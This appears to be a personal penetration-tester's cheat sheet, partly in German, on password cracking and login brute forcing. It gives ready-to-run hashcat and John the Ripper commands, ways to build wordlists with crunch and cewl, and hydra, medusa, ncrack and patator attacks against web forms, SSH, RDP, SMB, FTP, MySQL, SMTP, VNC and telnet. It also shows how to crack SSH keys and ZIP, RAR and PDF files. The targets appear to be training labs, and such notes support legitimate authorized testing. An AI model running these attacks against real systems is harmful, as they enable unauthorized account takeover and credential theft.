(!) See also Password spraying to check a obtained password against usernames.
- Check hash against dbs:
- Define own wordlist first, if e.g. a web site is available (cewl!)
- Use a predefined wordlist
- crack.
Note: Use http://rumkin.com/tools/cipher/ if you have to encode/decrypt/decipher something on the fly.
Wordlist optimization
If there is a password policy known:
- Remove all passwords from the list which does not satisfy the requirements.
- Build an own wordlist with the policy rules.
Check password policy
In Windows, type
net accounts
to get informations about account locking, lockout threasholds etc.
Cloud-based performance cracking
Default passwords
Hashcat
Am schnellsten auf iMac:
/opt/hashcat/hashcat -m1800 -a0 -O --self-test-disable -r /opt/hashcat/rules/best66.rule test.hash /opt/wordlists/rockyou.txt
/opt/hashcat/hashcat -m1800 -a0 -O --self-test-disable -r /opt/hashcat/rules/rockyou-30000.rule test.hash /opt/wordlists/rockyou.txt
Note: You can add multiple wordlists!
Fortsetzen, wenn vorher mit ‑c unterbrochen wurde:
/opt/hashcat/hashcat --session name_der_sitzung --restore
Typ eines Hashs ermitteln:
hashid <hash_dollar_maskieren> hash-identifier
Show hashs and search formats:
hashcat --sample-hashes | grep $9$
Parameters:
- -a <attack_mode>
0 = Straight 1 = Combination 2 = Toggle-Case 3 = Brute-force 4 = Permutation 5 = Table-Lookup 8 = Prince
- -m <hash_type>
man hashcat
1600 = Apache MD5 (for htaccess, althought there are also other formats)
1800 = SHA-512(Unix)
Hash formats: https://hashcat.net/wiki/doku.php?id=example_hashes
Modify wordlists with rules
Hashcat can parse .rule files which describe transformations of the wordlist. Each line in a rule file defines one transformation.
An example, where each word becomes three words:
$ cat list1.rule
$1
c
$!
Another example, where each word stays one word, only that the rules are applied:
$ cat list1.rule
$1 c $!
This file leads to the transformation of every word by
- adding a 1 after each word,
- capitalizing each word and
- adding a ! at the end of each word.
The following command prints the changed wordlist:
hashcat -r list.rule --stdout list.txt
Note: In the /usr/share/hashcat/rules/ are many example rules. See https://hashcat.net/wiki/doku.php?id=rule_based_attack for all operations.
Hash determination
hash-identifier
Bekommt einen Hash und rät das Verfahren.
Wordlist creation
crunch
Erstellt Kombinationen von Zeichen.
crunch <min> <max> <zeichenmenge> -o out.txt
z.B. erstellt crunch 2 3 0123456789 ‑o /tmp/o.txt alle Kombinationen aus Zahlen von zwei bis drei Stellen.
Crunch kann auch Passwörter nach Mustern erstellen. Das kann sehr sinnvoll sein, wenn man z.B. die Passwort-Richtlinien kennt oder die Passwörter in ihrer Struktur sonst einschränken kann.
crunch 8 8 -t ,@@^^%%% // siehe Offsec-PDF, Seite 269
cewl
cewl can crawl sites and extract candidates for passwords which can then be used to create password with pattern. (m = Minimum word length, d = recursive follow depth)
cewl -m 6 -d 1 www.megacorpone.com > megacorp-cewl.txt
Use John to mutate a wordlist. OR use pw-inspector to filter the list to obtain only candidates which complies with known password rules.
pw-inspector -i cewl.txt -m 6 -M 20
John the ripper
JTR John the ripper can create variations of password lists which were created e.g. with cewl.
https://countuponsecurity.files.wordpress.com/2016/09/jtr-cheat-sheet.pdf
./john –wordlist=/tmp/wl –rules:Extra –stdout > /tmp/customwordlist
./john –wordlist=/opt/rockyou.txt /tmp/zip.hash dont forget!!!!!!!!
john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
This applies the default mutation rules. To e.g. add two digits after each password, add in /etc/john/john.conf in the section [List.Rules:Wordlist] the following two lines:
# Add one number to the end of each password $[0-9] # Add two numbers to the end of each password $[0-9]$[0-9]
Note: See https://null-byte.wonderhowto.com/forum/to-use-multiple-threads-cpus-while-cracking-passwords-with-john-ripper-free-version-0187017/ for optimization for all cpu cores.
Brute force
Medusa
Medusa understands many protocols which can be tested against wordlists. Can be used for FTP, HTTP, SSH, …
Doesn’t seem to work with virtual hosts!
medusa -h $victim -u admin -P password-file.txt -M http -m DIR:/admin -T 10
medusa \ -h 10.11.1.44 \ -u admin \ -P /usr/share/wordlists/rockyou.txt \ -M web-form \ -m FORM:"admin" \ -m DENY-SIGNAL:"invalid password" \ -m FORM-DATA:"post?u=&password=&send=%2Fadmin%2Fsite&login="
medusa -h $victim -u bethany -P Dog_Names_normalized.txt -M http -m DIR:/Admin -T 2
ncrack
High-speed cracking, faster than medusa in one example. Can also brute force Windows RDP.
ncrack -vv --user offsec -P password-file.txt rdp://$victim
Hydra
Note: xHydra can be used for configuration!
NOTE: http-post-form!
Also high-speed
hydra -P password-file.txt -v $victim snmp
Another example which performs HTTP post requests. After the URL and “:”, the post body is defined. After another “:” a string which indicates that the login attemp was failed.
hydra $victim http-post-form "/admin/index.php:user=^USER^&pw=^PASS^:Wrong password" -l admin -P /usr/share/wordlists/rockyou.txt -t 10 -w 30
If this doesn’t work, a Vhost can also be added via a host header like :H=Host\: <vhost>
Another example which checks the header of the response (to check the state, use S=302)
hydra staging-order.mango.htb http-post-form "/:username=^USER^&password=^PASS^:H=location: home.php" -l admin -P /usr/share/wordlists/rockyou.txt -t 20 -w 30
Attack SMB/Samba:
hydra -l marko -P /usr/share/wordlists/rockyou.txt $victim smb
Add cookies to requests:
hydra $victim http-post-form "/bolt/bolt/login:user_login%5Busername%5D=^USER^&user_login%5Bpassword%5D=^PASS^&user_login%5Blogin%5D=&user_login%5B_token%5D=-UKrYiVKX6bHmuQbPI75IgdiBVf2FgPpxUpjpj352i4:F=Please check your input:H=Cookie: bolt_session_274a029ed9ae3bfc27bd20e0afcafdcc=871d6acbc17c5822417b1cb094" -l admin -P /usr/share/wordlists/rockyou.txt -t 10 -w 30
Example with proxy and SSL (Burp)
HYDRA_PROXY_HTTPS=https://localhost:8080/ hydra $victim http-post-form "/admin:password=^PASS^&send=%2Fadmin%2Fsite&login=&gg=^USER^:F=invalid password:H=Cookie: session_id_issue_tracker=192.168.119.158-e1a56146-27a4-4946-b4a8-4fdf399e106a; session_id_admin=192.168.119.158-0436a0f5-f902-44de-8f80-8cf4567671e6" -l "" -P /usr/share/wordlists/rockyou.txt -t 10 -w 30 -S -I -s 8000
Telnet
hydra -P passwords.txt -L users.txt $victim telnet -V hydra -C users_and_passwords.txt $victim telnet -V
SSH
hydra $target ssh -l eleanor -P /usr/share/wordlists/rockyou.txt
FTP
hydra -C users_and_passwords2.txt ftp://$victim
MySQL
hydra -C users_and_passwords2.txt mysql://$victim
SMTP
hydra -P /usr/share/wordlists/rockyou.txt -l root $target smtp -V
RDP
hydra -P /usr/share/wordlists/rockyou.txt -l albert rdp://192.168.165.227
Or, password spraying the other way round:
hydra -L dirb/others/names.txt -p "SuperPasswordFoundSomewhere" rdp://192.168.165.202
Patator
Break RDP Remote Desktop login
patator rdp_login host=$victim user='Maria' password=FILE0 0=/usr/share/wordlists/rockyou.txt.ascii
Break VNC login
patator vnc_login host=$victim password=FILE0 0=/usr/share/wordlists/rockyou.txt.ascii -t 1 -x retry:fgrep!='Authentication failure' --max-retries -1 -x quit:code=0
Break telnet
patator telnet_login host=$victim inputs='FILE0\nFILE1' 0=users.txt 1=passwords.txt persistent=0 prompt_re='Username:|Password:' -x ignore:egrep='Login incorrect.+Username:'
Protocols
Crack OpenSSH identity keys
Convert the id_rsa file
python /usr/share/john/ssh2john.py id_rsa > /tmp/id_rsa.hash
Run JtR:
john /tmp/id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt
Run John The Ripper with rules:
- Add rules to /etc/john/john.conf:
[List.Rules:sshRules]c $1 $3 $7 $!c $1 $3 $7 $@c $1 $3 $7 $# - Execute
john /tmp/id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt --rules=sshRules
File formats
pdfcrack --wordlist=/usr/share/wordlists/rockyou.txt $filename
or
/usr/share/john/pdf2john.pl file.pdf > /tmp/pdf.hash john /tmp/pdf.hash
ZIP
/usr/share/john/zip2john.pl file.zip > /tmp/zip.hash
john /tmp/zip.hash // iterative
john -wordlist:/usr/share/wordlists/rockyou.txt /tmp/zip.hash // with wordlist
while cracking, have a look into the file names with vi zip.zip
fcrackzip [-D ‑p /usr/share/wordlists/rockyou.txt] t.zip
RAR
/usr/share/john/rar2john.pl file.rar > /tmp/rar.hash john /tmp/zip.hash
Links and various notes
- Good overview and tips for various protocols: https://github.com/frizb/Hashcat-Cheatsheet
- Windows seems to store all old passwords forever in a CREDHIST. See this DPAPI article.
Leave a Reply
You must be logged in to post a comment.